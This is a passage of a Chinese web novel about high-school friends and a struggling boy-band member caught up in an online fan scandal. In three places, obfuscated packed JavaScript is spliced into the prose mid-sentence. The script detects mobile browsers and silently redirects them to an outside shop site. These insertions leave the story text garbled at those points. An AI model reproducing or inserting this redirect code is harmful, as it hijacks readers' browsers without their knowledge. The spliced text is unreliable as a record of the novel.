“林老师,这么认真啊?” 她笑嘻嘻地凑过去,坐在地上:“集训怎么样?” “乡巴佬进城。” 林潇潇放下书,叹口气:“深深意识到了我们和其他人的差距。那边真是光怪陆离,又都是搞艺术的,每个人都神神叨叨的。” “那你的刺探明星情报计划呢?” 林潇潇一听这个就来了精神:“进展极大!” 她扒着黄怀予的一边耳朵,凑到她旁边,叽里呱啦说了一大堆去帝都的时候听到的明星桃色八卦,每一个都让黄怀予惊掉下巴,吓得都结巴了。 “这这……真的假的?这些人看上去不像是这样的人啊?” “这你就不懂了。作为一个已经半只脚踏进娱乐圈的人,我告诉你一句真话:这个料如果只涉及一个人,那说不定还是假的。但是如果这个料涉及两个人,那十有八九就是真的。” “……真的吗?” 两个人? 黄怀予心里打起了鼓,不由自主就开口: “比如最近热搜上的那个新娱公司?” “你知道他们的料吗?” …… 林潇潇想起来了:“啊,那个啊。” “那倒没关注,主要就是几个小爱豆,也没有特别火的,也就是沈一瑾火一点,其他的都是糊咖。” “不过依照刚刚我说的原则,举一反三,我估计目前这些料都是真的。比如,赵焰就是跟公司高层有关系,以及STAR内部关系就是不太好。” “我看这件事闹得还挺大的,楚恒好像被骂得挺惨的。哎,干这行,能不能红都是玄学。我感觉如果是我,那么多人骂我,我肯定受不了。” “如果我火就算了,但是如果不火,也没挣到几个钱,还要被全网骂,搞得心理健康都出问题了,那还稍微有点可怜。” …… 黄怀予心里想着事,回了教室,继续上晚自习。 只是她似乎一直都心神不宁,一直都悄悄关注着手机。 “新娱”又多了一个新的热搜,是下午的时候,这几个当事人全都发了微博,大意都是几个人之间关系都很好,让大家不要猜测,多多关注之后的作品。 ——只有楚恒还没发。 她顺藤摸瓜就找到了楚恒的微博。 内容很少,几乎没有文字,只是一些景物照片,要么是晚上的夜空,要么是刚刚升起的太阳,和朋友圈的样子差不多,也很符合他那冷淡的性子。 转评赞也不多,每一条微博只有一百多条粉丝评论。 ——黄怀予鬼使神差就点了一个关注。 …… 晚上十点,下了晚自习,黄怀予回到家,却一下子正好看到消息提示。 ——楚恒发了一条新的微博。 她心里一噔,手忙脚乱地点开。 ——内容和其他几个人一样,语气轻松,讲着“无意占用公共资源”之类的套话,可是对比他自己之前的微博文风,所有人都能看出来这是统一之后的话术。 她刷新了几下,一下子就刷到有粉丝在下面评论: “哥哥你被绑架了就眨眨眼!” “老公我们都在。” “宝宝你受委屈了,妈妈好心疼。” 很快就已经十几条评论了,还有很多路人围观,一下子就已经几百条评论,成为了他近期热度最高的一条微博。 …… 被逼着发的吗? ——她想到了最后一次见面,两人在医院里,他平静的语气里藏着的落寞回答,和那双总是没什么活力和生机的美丽眼睛。 这件事本来与他无关,却莫名其妙被波及到,多了无数无关猜测与质疑。 网上这些不好的话,他都看得见的吧? …… 她想来想去,最终还是点开了那个看过了无数遍的微信聊天框,打出几个字: “你还好吗?” 可是拿着手机,等了很久,都没有回复。 “……” 黄怀予眼神黯淡下去,暗道自己做了多余的事,放下手机去洗澡了。 或许她没有那么多精力去关注其他事,对于她而言,每天都是一样的生活,每天都做一样的梦。 ——只不过,之前老是梦见被地图追着跑,而现在却是老是梦见第一考场的布局。 第一考场,不就是她的一班吗? 那些熟悉的桌子椅子,黑板教室,天花板上老旧的电风扇,夏天里闷热的空气,写字的时候黏在课桌上的手臂,扯下来的时候还会疼。 ——可是人却全部换了,不是一班的同学了,而是一进门就是两列竖列,满满当当坐着十几个八班的人,一看见她走进来,全部齐刷刷转过头看她。 ——她一下子撞见,坐在第一个的齐龙飞,那双冷冰冰的眼睛。 …… “听过。但是不认识。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252962|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>…… “是啊,黄怀予大家谁没听过,一班的第一名嘛。是挺聪明的,成绩是挺好的。但是成天混来混去,呼朋唤友的,不是迟到就是逃课,社会的很。” “祝她好运吧,下次也能挤进年级前十。” “我们班可没有黄怀予这个人。” “我们是八班的。” …… 她躺在床上,闭着眼睛,呼吸平静,仍在梦中。 手机调了静音,所有软件都设置了免打扰。 她又开始一个人做着不怎么开心的梦。 * 第二天早晨六点,黄怀予顶着完全睁不开的眼睛,买了一碗热干面,跑进了学校,坐在教室里一边吃一边看中国文化常识。 一个上午过得困倦而努力,一直到中午回家吃饭的时候,她才有空点开微信。 ——然后她就看到了一个好友通知。 ——深蓝色夜空头像。 !! 她心里瞬间一惊。 ……一看时间,竟然是昨天晚上十一点半? 那个时候她刚好洗完澡躺下睡着了。 …… 黄怀予疑惑地通过了,刚想着要说些什么,就立刻看到对面秒回了一条消息。 “对不起。昨天晚上不小心删除了。” ……原来是这样。 “啊,没关系。” 黄怀予按下发送键,等了一会,才发现又没话说了。 她挠挠头:“昨天晚上是想问你,你还好吗?” “网上的事,我也看到了。” 对面很快回复过来一句话: “没事的。” 过了两三秒,又罕见地加上一句: “谢谢。” …… 黄怀予放下了心,本来还想再劝几句,又怕如果讲太多楚恒估计也觉得厌烦,于是只是干巴巴地聊了两句,就想结束话题。 “不打扰你吃午饭了,再见楚老师。” “楚老师?” “是啊,你们娱乐圈的不都这么叫吗?” “……我只是一个小角色。没有什么流量。” “上热搜还不叫流量?”黄怀予顺口来了一句地狱笑话。 她想起林潇潇的教导,“我们班的艺术生还没艺考,就已经自称老师,在班上卖自己的签名了,说她以后火了就买不到了。” …… 黄怀予看着手机上“对方正在输入中……”的提示变了又变,最终只回了一个字。 “嗯。” 就一个字。 表示着平淡,肯定,认同,知晓。 …… 帝都,新娱公司的员工食堂里。 “梁姐。” “梁姐好。” 梁吟东穿着浅色西装,步伐有力,走进食堂,迎面对每个打招呼的人都微微点头。 她一转头,就一下子就看到了角落里,楚恒一个人坐着,面前摆着一盘沙拉,眼睛却在看手上的手机。 ——金发垂下,堪堪遮住眉眼,脸上仿佛有一些极其浅淡的笑意。 她刚想上前,就被人叫住。 ——回头,是贾威。 …… “梁吟东。” 他脸色阴沉,带着一副兴师问罪的神色。 “别来教训赵焰。这件事情,赵焰是彻头彻尾的受害者。” “……” 梁吟东握紧了拳头,想到了赵焰那不屑一顾的神情。 ……他竟然真的来让“自己的舅舅”跟自己谈? 梁吟东皱眉。 “我是STAR的经纪人,经纪人和艺人之间的谈话方式,这么小的细微之事,应该就不劳烦贾总经理费力费神了吧。” 贾威笑了一声,绿豆般大小的眼睛里闪过鄙夷。 “劝你别在楚恒身上下太多功夫。当初就是你一力推动楚恒当C,可是STAR这几年的成绩你也看到了。” “有些人就是赔钱,飞上枝头也成不了凤凰。” …… 梁吟东转过身,直视着贾威那双藏在眼镜背后的精明眼睛,声音不大不小,却足以让每个字都清清楚楚传进他耳朵里。 “一个练习生考核每一次都断层第一的练习生,不管谁是STAR的经纪人,都会选择他当center。” “对偶像来说,成绩和很多因素都有关,艺人本身占据的因素很小。忽略掉公司策略和市场大环境的问题,一味把所有责任都推到一个不到20岁的艺人身上,是非常不负责任的表现。” “贾总经理还是不要随意说出这种话,不然很容易让人觉得,堂堂新娱公司的高管,怎会如此不了解市场和行业?” “贾总经理做到现在的位置,到底是凭着能力,还是凭着裙带关系?” 42. 第 42 章 沈一瑾粉丝组织的那场不限圈转发抽奖,转发量竟然已经达到了惊人的8万。 与此有关牵扯出的各种男团学、皇族、资源咖的种种讨论,都让这个话题的热度一直居高不下。 而沈一瑾粉丝也丝毫不松口,大有打持久战的准备,一副公司不给出一个解决方案就不会罢休的样子。 于是,在公司和当事的三个艺人都发了公关文案之后,公司方面终于再次给粉丝让步——告知大粉,已经为沈一瑾接了两个新综艺,比原来的那两个bar更高,以试图平息这件事。 于是,沈一瑾粉丝终于作罢,把奖池里的奖品全部抽完寄出,又发出公告,总算是划上了一个句号。 …… 这场粉丝和公司之间的博弈,竟然以粉丝的胜利宣告结束。 这也引起了其他全程围观的内娱粉的巨大感叹。 ——一篇标题叫《别惹瑾粉》的帖子,悄悄上了某八卦APP主页。 “别惹女豆粉。快跑!” “上面的,不是所有女豆都有这么牛逼的粉丝。是别惹沈一瑾,快跑!” “头一回看见粉丝能让公司让步的,胳膊肘居然拧过了大腿!” “理讨,谁能分析一下沈一瑾那几个大粉和后援会构成?感觉很有来头。” “据我所知有几个大佬,都挺有钱的。不过现在明星后援会的一些上层普遍都有钱。” “我感觉是沈一瑾一出道就有接生粉,性格好,长得可爱,这几年回报率也高,算是内娱女豆第一梯队的了,妈粉和死忠都很多,撕着撕着就锻炼出来了。” “说到这个,MOON的其他几家也挺奇怪的,居然没什么人和瑾粉吵架,MOON粉圈内部平常还挺平和的,这次撕陆橙也是很有分寸,没撕几天就转撕公司去了。” “就是因为沈一瑾人气太断层,所以团内没什么好撕的吧。” …… 网友七嘴八舌,帖子足足盖起了几千楼。 * 和网上的腥风血雨不同,楚门一中的日子只是平平淡淡。 班里的艺术生都纷纷去集训了,为12月的艺考做准备,班里一下少了很多人。 谷奕这段时间上课也很少再睡觉了。 ——尽管他也完全不会像旁边的苏琬和黄怀予一样疯狂记笔记。 他只是撑着头,困倦地睁开眼,偶尔会看一眼被老师写满的黑板。 但是一旦是地理课,他就听得特别认真,甚至还去学校对面的书店买了两本教辅资料,拿着笔做做。 ——毕竟他还记着要在全班人面前分享地理学习经验这件事,装也要装一下大尾巴狼。 …… 每天晚上的晚自习,他也不会再翘掉了,而是就趴在座位上老老实实地睡觉。 等到晚上十点铃声响起,他顶着睡意惺忪的脸起来,十分自觉地扶着拄拐的苏琬下楼回寝室。 ……苏琬看着自己右边那个又被下课铃声吵醒、眼睛都没睁开就立刻条件反射地接过自己的书包的那个高大身影,竟然会生出一种错觉。 不是作为同学,好心地顺便扶自己回去。 ——而像是,他在专门等自己。 …… “其实晚自习你要是没什么事,可以先回去的。我自己拄拐也可以走的。” “那怎么行?你摔了怎么办?” 谷奕刚醒,乌黑的眼里还带着潮湿的雾气。 他揉揉眼睛,把她的书包背到肩膀上。他的肩膀很宽阔,书包稳稳当当。 “我当然要扶你回去。” 他宽大的右手不由分说地接过她的拐,又极其自然地把自己的左手手臂伸到她面前。 “扶着我。” …… 苏琬低头,看着他伸过来的小麦色健壮的小臂,犹豫了几秒钟,还是抬起了手,轻轻地搭了上去。 ——温热的,滚烫的,带着少年人炙热的体温,和有力的肌肉。 “我还以为电梯只能老师坐。但是昨天杯姐刚告诉我,她也经常偷偷坐。” “我们等会直接去坐电梯。” “被抓到也没事,直接说你脚不方便就好了。” 他自作主张地安排了一切,低头说着话,特意放慢了脚步,缓慢地配合着苏琬的速度。 …… 苏琬望向他的侧脸。 他耷拉着眼皮,微微翘着嘴,显然还没有完全清醒,做这所有的事只是出于这段时间每天都如此的条件反射。 ……苏琬收紧了握住他小臂的手,不由自主心跳有些快。 …… 校园寂静,教学楼里的人已经全部离开。走出大门,抬头是深色的夜空,和昏暗的月色。 月下,只有他们两人。 “陈静也可以扶我回去。” 苏琬冷不丁出声说道。 说完这句话,她明显感觉到,掌心下的手臂一僵。 谷奕沉默两秒,才慢慢说:“我力气比她大。” “可是,扶我不需要那么大的力气。” “……”他似乎是梗住,又说,“大晚上的,两个女生不安全。” “可是,我以前的两年里,每天晚上都是和她一起回去的。” …… 苏琬抬头,看着右边昏暗路灯下少年明明灭灭的脸。 她轻声开口,声音轻轻柔柔: “你是怕杨天奇会找来吗?” !! 谷奕似是一下子被戳中心事,抬眼震惊地看向她,又很快扭过头,耳根红红的,脸上还皱着眉,像是在暗地里骂自己怎么又被她识破了。 “……没,没有。” 他结结巴巴地说。 说完,又去看苏琬的神色。发现她面色平静,眼神清澈,像是可以一眼看破他所有谎言。 “……好吧。” 他垂头丧气,心情极不好,嗓音闷闷的。 “我承认,是的。” …… 苏琬笑了,眉眼舒展开。 “你真的很不会撒谎。” “……”谷奕的脸爬上红晕,梗着脖子,极其不愿意承认自己一个一米八/九的校霸,居然每次说谎都会被看出来。 他看一眼苏琬的脸,又飞快转过头。 过了几秒,才低着头,慢慢说道: “……他既然上次都可以早晨去食堂找你,那晚自习之后在回寝室的路上想堵你,肯定也不是什么难事。” “我当然不能让你有事。” 少年的嗓音低沉好听,低着头老老实实地乖巧地解释着。 …… 苏琬突然问:“那为什么不能直接告诉我?” “……” 谷奕撇撇嘴,叹口气。 “我怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252963|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你多想。” “上次在医院,看到你和杯姐都哭了……” 他的声音突然变得很低,带着沉闷的不快。 “不想让你觉得,是你连累了我们,或者得出别的其他任何奇怪想法。” “这些想法特别奇怪。特别没道理。特别不应该出现。” “我一秒都不想让这些想法出现在你脑子里。” 他低着头,肩上背着自己的书包,右手轻松地拿着自己的拐杖,扶着自己,慢慢地向前走着。 晚风吹过。 掌心的温度高得吓人,她缓缓抬眼,少年的侧脸带着锋利和硬朗,却在楚门十月份这湿润的夏日晚风里慢慢变得模糊,耳垂上透明小钻闪着银色的光芒。 …… “痛吗?” 她突然开口。 谷奕一愣,发现她正定定地看着自己。 他过了几秒才反应过来:“你说我的耳朵?” “早就不痛了!” 他又开始进入了熟悉的领域,话匣子迅速打开: “这算什么,我打架比这痛多了!” “我以前打架的时候,最严重的一次骨头都断了,还做了手术!” “不过养了大半年就好了,医生都说没见过像我一样恢复得这么快的!” “被那些混混用棍子打背,那才是真的痛,痛得我吱哇乱叫的……” ——“别说了。” 他滔滔不绝的话突然被一道女声打断。 谷奕一愣,看见苏琬有些冷硬的脸。 “痛就是痛,没有比较,没有大小。” “谷奕,别打架了。” “面子没那么重要。” “下次,直接跑。” “就不会痛了。” 她直直地看着他,神色极其认真。 ——“答应我,好吗?” * “大消息!大消息!” 程朗满脸震惊地冲进教室大喊,如同惊弓之鸟,神色极其仓惶。 他直奔黄怀予的座位,一屁股坐在之前林潇潇的位置上。 他看着转过头来纷纷看着他的黄怀予、苏琬和谷奕,眼睛睁得极大,一副刚刚得知第三次世界大战的样子,一字一句地说: “杨天奇!” “被学校开除了!” …… 黄怀予和苏琬对视一眼,皆在对方眼里看到了极大的震惊。 她立刻问:“为什么?” 程朗却闭上了嘴,一副天机不可泄露的样子。 “快说!” 黄怀予捶过去一记暴栗,打得程朗“哎呦”一声。 “左手受伤了,右手还这么大劲!” 他撇撇嘴,左右看看,像做贼一样小心翼翼地凑近。 “听说……”他声音极小,“他爸被人举报贪污和滥用职权。” “内部举报,速度快得很,已经撤职查办了。” …… 他煞有介事地说完,叹出一口气。 “……也不知道是哪路神仙,连杨天奇他爸都搞得动。” “不过,谁让他平时那么嚣张,作恶多端,活该!” “也算给你们上次出口气,嗷!” 程朗说完,又像赶场一样,跑到了另一块人群聚集的地方,继续开始眉飞色舞地宣传这个只有他知道的最新爆料。 43. 第 43 章 黄怀予皱眉思考了几秒钟。 程朗的话在脑海中响起。 “……也不知道是哪路神仙,连杨天奇他爸都搞得动。” “不过,谁让他平时那么嚣张,作恶多端,活该!” “也算给你们上次出口气,嗷!” 她心念一动,立刻抓住前排谷奕的袖子。 ——“大傻,是你吧?” 她凑过来小声问。 …… “!” 谷奕一惊,看看她。 “什,什么?” 他一紧张就结巴,又想到昨天晚上苏琬说自己很不擅长说谎,恨不得把舌头捋直了,力争不露出一丝破绽。 “不是!” 可是下一秒,他偷偷去瞄苏琬,果然就和她看过来的审视目光撞了个正着。 “……” 谷奕进退两难,既没想好怎么说,也没那个勇气在这两人直勾勾的目光里说出口。 “你……你怎么就能确定是我?” 黄怀予一看他这色厉内荏的样子,上下打量一下,哼了一声。 “你得庆幸你家里钱多。不然你要是像我一样家里没什么钱,你被人随便一诈,就能被人骗得倾家荡产。” 她抱胸。 “不是你干的还能有谁?” “……”谷奕脸涨得通红,“他得罪的人多了,不止我一个!” “他得罪的人是很多,但是没有一个能直接动他。不然他怎么在楚门一中嚣张了快三年?” “要报复不是早报复了?” 黄怀予说完,突然绽放出一个极其狗腿的笑容,冲谷奕挤挤眼睛:“是谷女士干的吗?” “……”谷奕实在不明白为什么自己在这两人面前就像永远没有秘密一样,一眼就能被看穿。 ——他面色像吃了苍蝇一样,半晌才从喉咙里发出一声沉闷的“嗯”,算是终于承认了。 …… “违纪违法这种事,只要自己做过了,就一定会有被人揭发的一天。” “他爸这么多年不可能没有政敌。” “随便搜搜证据,给政敌送去,内部举报就一举报一个准,效率很高的。” 谷奕解释了一遍,最后补充道:“现在这个开除的结果,也算是,给之前那些女生报了仇。” ——“恩人哪!!!!!” “人民群众的力量是伟大的!!!!” 黄怀予大嚎一声,吓了谷奕一跳。 “……” 他有点不好意思,扭头去看苏琬。 ——却见她只是这样看着自己,脸上慢慢露出一个如释重负的笑。 她笑得很轻松,很好看,眼睛里闪着水光。 “谢谢。” 她说。 …… “为了庆祝楚门一中第一大反派下线,楚门市第一大黑官落马!” “今天晚上的奶茶我请客!” “还这个世界一个海晏河清!” 黄怀予一拍桌子,难得地豪爽了一回。 “不行。”谷奕想也没想地拒绝,“有我在,就不可能让别人付钱。” ——“是吗?” 苏琬温柔的声音从一旁传来,一字一句地说。 “那为什么你刚来的时候还总是让我请你吃学校食堂的早饭、午饭和晚饭?” …… 黄怀予左右看看,满脸无语,懒得戳穿他们两个暧昧的手段,只是挥挥手: “今天必须我请。我去买了,你们要喝什么,手机告诉我。” “等会我去一趟高二206班,给胡北也送一杯去。普天同庆,人人有份。” * “子在川上曰,逝者如斯夫……” 读书声响过一天又一天,日子像水一样流过。 谷奕心里装着事,特地去问黄怀予,那个地理课上分享经验是啥时候。 黄怀予说:“10月月考之前,一共有两位同学会上台分享。” “我和谁?” “你和苏琬。” 谷奕此时此刻才终于明白,黄怀予为什么之前回挤眉弄眼地说,这对自己来说绝对是一件好事。 …… 他竟然偶尔也会开始找黄怀予问一些地理题。 然后就发现,黄怀予懂得真的很多,而且讲得深入浅出,能把自然和人文的知识全部串起来。 ——怪不得总有人来问她问题。她从来不会嫌对方问得太简单,也不会觉得解答问题浪费自己的时间,平等地给每一个人都讲到明白,最后每个人都能欢天喜地地从她这里回去。 问完,他真心实意地说:“杯姐,谢了。你讲的我完全听懂了。” …… 谷奕能感觉到,自己已经开始慢慢融入苏琬和黄怀予两个人之间的氛围。 ——似乎当自己和她们做着同样一件事的时候,也能慢慢听懂她们在讨论什么,也能同样拥有着这种为做出一道题而兴奋十足的感情。 甚至,苏琬也会来问他一些宇宙地理的知识。 “原来是这样。你讲得很清楚!谢谢!” 一句话,就能让他的自尊心膨胀到爆炸,炸出一堆五颜六色的的彩带。 …… 谷奕很满足。 但是渐渐,他也不那么满足了。 ——因为他发现,他只听得懂地理。 轮到其他科目的时候,他依然像个傻子。 …… 他不甘心,开始在学习上投入更多时间。 白天课间,程朗来叫谷奕下去打球,谷奕也爱答不理。 程朗从后排走过来,远远就看见谷奕宽阔的肩膀,他正埋着头,拿着笔,刷刷刷写着什么,笔帽不停地动。 他好奇,凑过来看,这才发现谷奕居然在做英语完形填空。 “我操!哥!我以为你只是拿着笔把书上所有的方框给涂黑而已。” “边儿呆着去。”谷奕甩甩手,轰走他。 …… 白度发现,谷奕晚上回到寝室也不玩王者吃鸡了,也不去走廊上看星星了,而是背了个书包,拿出刚刚在晚自习看了一半的书,回寝室接着看。 白度大惊失色。 “哥,你别学了,我害怕。” 谷奕头也没抬,皱眉紧盯着书上的内容,问: “你会做三角函数吗?” “我会做三角糖包。” * 每天晚饭时候,黄怀予都会去好运来买奶茶。 由于苏琬脚不方便,最近也会每天顺带帮苏琬和林潇潇带一杯。 “今天喝啥?” “缤纷红柚。” “怎么又是缤纷红柚!我记得你以前不是喜欢抹茶冰旋吗?” 黄怀予神神秘秘:“喝了这个能考年级第一。” 林潇潇狐疑:“为啥?” “你就信我吧。” 林潇潇依然满脸疑问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252964|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真的假的?” “齐龙飞就爱喝这个。” 林潇潇立刻接过来:“好的我喝。” “……”苏琬在旁边说,“你们这属于客观唯心主义。” …… 谷奕一般会和白度一起去吃晚饭。最近因为苏琬脚不方便,就自告奋勇帮苏琬带晚饭。 ——结果每天一进教室,就能看见周围三个女生全在喝奶茶。 好运来的奶茶确实好喝,谷奕想着,心有些痒,于是去问黄怀予,能不能也给自己也带一杯。 黄怀予看看他,有些为难。 “我左手伤了,现在就一只手能拿东西。三杯已经是我能拿的最多的量了,四杯就真的没手拿了。” “而且学校不准带进来,我每次带进来都要藏在外套里的,四杯是在太多了不好藏,所以不好意思了啊大傻。” 谷奕也没说话,掏出手机,点了几下。 “嗡嗡——” 黄怀予一下子感觉兜里的手机震了两下。 拿出来一看,差点惊掉下巴。 “【大傻】给自己转账3000元,备注‘给杯姐:一个月的奶茶钱’。” …… 她大叫一声: “卧槽!!!” 苏琬、林潇潇:“咋了?” “……”黄怀予艰难咽了口口水,抬头,看见谷奕坐在自己前面,低头风轻云淡地吃鸡排饭。 她立刻站起身,敬了个礼。 “好的谷公子,我等会就去买个专门的袋子,藏四杯绰绰有余。” “请您把每天想喝的饮品提前告知我,我将争分夺秒为您采购。” “请为我点亮五星好评,欢迎下个月也继续订购这项服务。您的满意是我永远的追求。” …… 每周五晚上,苏琬的妈妈能有一个晚上的小假,所以会在晚自习之前,坚持来学校给苏琬送骨头汤。原本是不允许家长进学校的,但是因为苏琬骨折,门口保安立刻就同意苏明进来了。 ——当然,一定会给黄怀予也带一份。 晚自习开始前十五分钟,教室里正是人多的时候。 苏明就会这样顶着全班人的目光,拎着一个不锈钢保温盒,笑意盈盈地走到苏琬座位上。 “这是你的。” “这是小予的。多喝点,骨折好得快,伤筋动骨一百天呢!” “这是谷奕的。”她满脸笑容,“知道你喜欢吃甜的,糖醋排骨特地多放了点糖。” 教室里一分钟之前还很吵,现在直接鸦雀无声。 …… 苏琬的妈妈给苏琬送饭,天经地义。 苏琬的妈妈给黄怀予送饭,也再正常不过。 ……但是苏琬的妈妈,怎么会这么熟捻地也给谷奕送一份饭? …… 所有人都瞪大眼睛,看着苏琬的妈妈极其熟练地说着谷奕的饮食喜好。 谷奕慌乱地接过,有些不好意思。 后排的程朗看得目瞪口呆。 他问白度: “苏琬和黄怀予,是好朋友的关系。” “黄怀予和谷哥,是互相看不惯的关系。” “那苏琬和谷哥,又是什么关系?” …… “……”白度呆呆的,“晚上会在寝室走廊隔空对望的关系?” 程朗更懵了。 前排的陈静听见动静,转过头,露出了一个十分鸡贼八卦的笑容。 44. 第 44 章 转眼到了10月中下旬。 STAR新歌终于准备放出,MOON的团综也播到了第四期。 新歌放出后24小时,公司召开了表现总结会议。 这次新歌的水花比起上次稍微大了一点,由于上次舞蹈挑战的事情沸沸扬扬,也算是小小出圈。这次运营部特地买了几个热搜,收听率和MV播放量都有所上升。 而顾安,作为这首歌的舞蹈大C和一次副歌主C,镜头和表现机会多了很多。 新歌一出,顾安微博涨粉率直线上升,很多粉丝剪辑视频也冲到了某视频网站首页,在内娱偶像圈子里也有了一些小范围的热度。 …… 梁吟东一边打电话一边从会议室里走出,眉宇之间神色有些疲惫,但是眼里闪着光,精神极其振奋。 她踩着高跟鞋快步走向电梯,迎面的风流吹动她鬓间的短发。 “听说这次成绩不错啊。” 梁吟东放下手机,看见前方电梯门口,明红笑意满面的脸。 她也难得扬起一个浅淡的微笑,点点头。 明红走上来,拍拍她的肩:“过完这段时间,去休个假吧。你已经半年没休过假了吧,注意身体。” “过几个月再说吧。” 梁吟东呼出一口气,眼神很坚定。 “上次大会上,是我在所有人面前保证STAR已经有了成绩,只要坚持下去就一定能成功。” “机会来之不易,一定要抓住。” …… 明红叹口气,摇摇头。 “你还是这么拼,认死理。” “我在这行干了这么久,最近也算看透了。艺人团体能不能火全靠运气。给自己这么大的压力,逼着自己一定要做出成绩,反而适得其反。” “我知道,STAR是公司第一个男团,也是董事长交给你的第一个团。所以你才这么重视,三年里尽职尽责,希望什么事都做到最好。” “可是……” ——她扶了扶鼻梁上的红色眼镜,一下子收起了平日里在外人面前的和善亲切,声音陡然冷静下来。 她转过身直直地盯着梁吟东,神色极其认真。 “命里有时终须有,命里无时莫强求。” “你明白吗?” …… “我是局外人,从头到尾的局外人。” “有时候,也许我看到的,和你看到的,完全不一样。” “只要是在笼子里,老鹰和鸡没有区别。” “除非,你打算冲出这个笼子。” …… 梁吟东脸上喜悦的表情淡了下来。 “连你都要劝我放弃吗?” ——却没想明红苦笑着摇摇头。 “不是。” 她声音很轻,却很有力。 “梁吟东,我欣赏你。一直都是。” “因为你敢做大家不敢做的事。” “可是……” “我们一直都在笼子里。” “老鹰挣扎得太厉害,会筋疲力尽,到最后也许都只会获得一个和鸡一样的结果。” 明红看着眼前这位与自己并肩了十几年的同事,一瞬间回忆纷纷扬扬飘到眼前。 “我们是人。我们一定会累的。” “作为朋友,看到你累,我很难受。” 笼子? 梁吟东抿紧了唇。 …… 紧接着,她的肩膀就被紧紧握住。 她抬头,对上明红那一张已经变得和平常一样宽和亲切的笑脸。 “想一点近在咫尺的快乐吧。” “等会中午,我请你吃日料。新到的三文鱼,新鲜得很!” * 楚恒在练习间隙收到了工作群的消息。 他看了一下,是梁吟东在群里恭喜大家这次成绩还不错,同时也让大家注意,最近顾安多了很多私生,昨天保安刚刚发现了两个,让大家一定要小心。 楚恒回复了收到,顺便把新歌MV转发给了谷奕。 他看看时间,本来没期望对方这个时间能回复,因为谷奕最近学习极其认真。 没想到,谷奕竟然秒回: “兄弟还用你提醒?10月17号中午十二点发的MV,我一直蹲守着呢!到现在已经零零碎碎给你贡献三十多播放量了!” 没过一会,谷奕像是又意识到什么,又发: “不行,三十多是不是不够?” “我看你们隔壁MOON,上次那首歌MV都有一百万播放量……” “你们现在才十几万!” …… 他打字飞快,楚恒的屏幕上又迅速弹出一条新消息: “你等着!” 没过五分钟,谷奕居然发过来一个视频。 楚恒修长的手指顿了顿,完全不知道对方葫芦里卖的什么药。 他点开,看了一两秒,极度震惊地睁大了眼睛。 ——谷奕居然在他们教室里,用电脑和投影播放他的MV! …… 这个视频一看就是谷奕用手机随便录的,一共只有五秒钟。 前几秒,镜头在投影仪上停留了一会,楚恒正好看到自己的脸出现在上面。 下一秒,镜头一转,拍到了下方,下面竟然坐着许多同学,一眼看过去有五六个,都坐在桌前,聚集在一起,抬着头,似乎一个个都看得很认真。 他眼神一闪。 ——居然一下子就精准捕捉到了,那一群人中,有一个齐肩短发戴眼镜的熟悉身影。 楚恒一愣,只有五秒钟的视频已经迅速播放完了,屏幕上只有一个一个大大的白色三角形“播放标志”。 “……” 他不知道为什么,又点开了这个五秒钟的视频,又看了一遍。 …… 是她。 她。也在看? 楚恒脑海中突然浮现出大半个月以前,凌晨,楚门的医院里,坐在他身边的那个少女。 手上刚刚骨折,满脸不情愿去打石膏,神情却极其放松,生怕他深陷苦海,有一搭没一搭地劝他。 …… “楚恒,你为什么不开心?” “是有人欺负你吗?” “还是,你觉得实现不了自己的梦想?” “如果你觉得实现不了你的梦想,那你就想多了。” “你还没实现,你怎么知道你实现不了呢?发生在明天的事,今天永远也预料不到。” “你要是担心你不会被人看见,那纯属杞人忧天。就你这张脸,旁边的蚊子看到了都想多吸两口血。” …… 手机屏幕上又蹦出一条新消息。 “放心,现在是晚自习上课之前的晚饭时间,很多人都用这个时间玩会教室电脑或者放视频看的。” 谷奕极其满意地发完消息,放下手机,在讲台上热情洋溢地介绍: “这首歌特别好听!这个团特别帅!” “特别是那个金色头发叫楚恒的!” 下面坐着的一群人,本来都正在吃饭,这下一个个全部都停住动作,面色古怪。 林潇潇目瞪口呆地戳戳旁边的黄怀予: “谷奕发什么疯?没想到他还关注国内男团。” 黄怀予干笑两声。 林潇潇没得到回复,又去戳前排的苏琬:“你知道他一个直男居然喜欢男团吗?你就没有一点点担心?” “……”苏琬越听这话越觉得不对。 虽然不知道为什么谷奕作为直男就不能喜欢男团,但是她觉得更不对的是,为什么谷奕不是直男,她就要担心? 林潇潇看她表情一言难尽,叹口气;“本娱乐圈人士告诉你,干这行的,十个男的有五个都是gay,剩下还有两个说自己是双性恋。” “你得看着点。懂吗?” 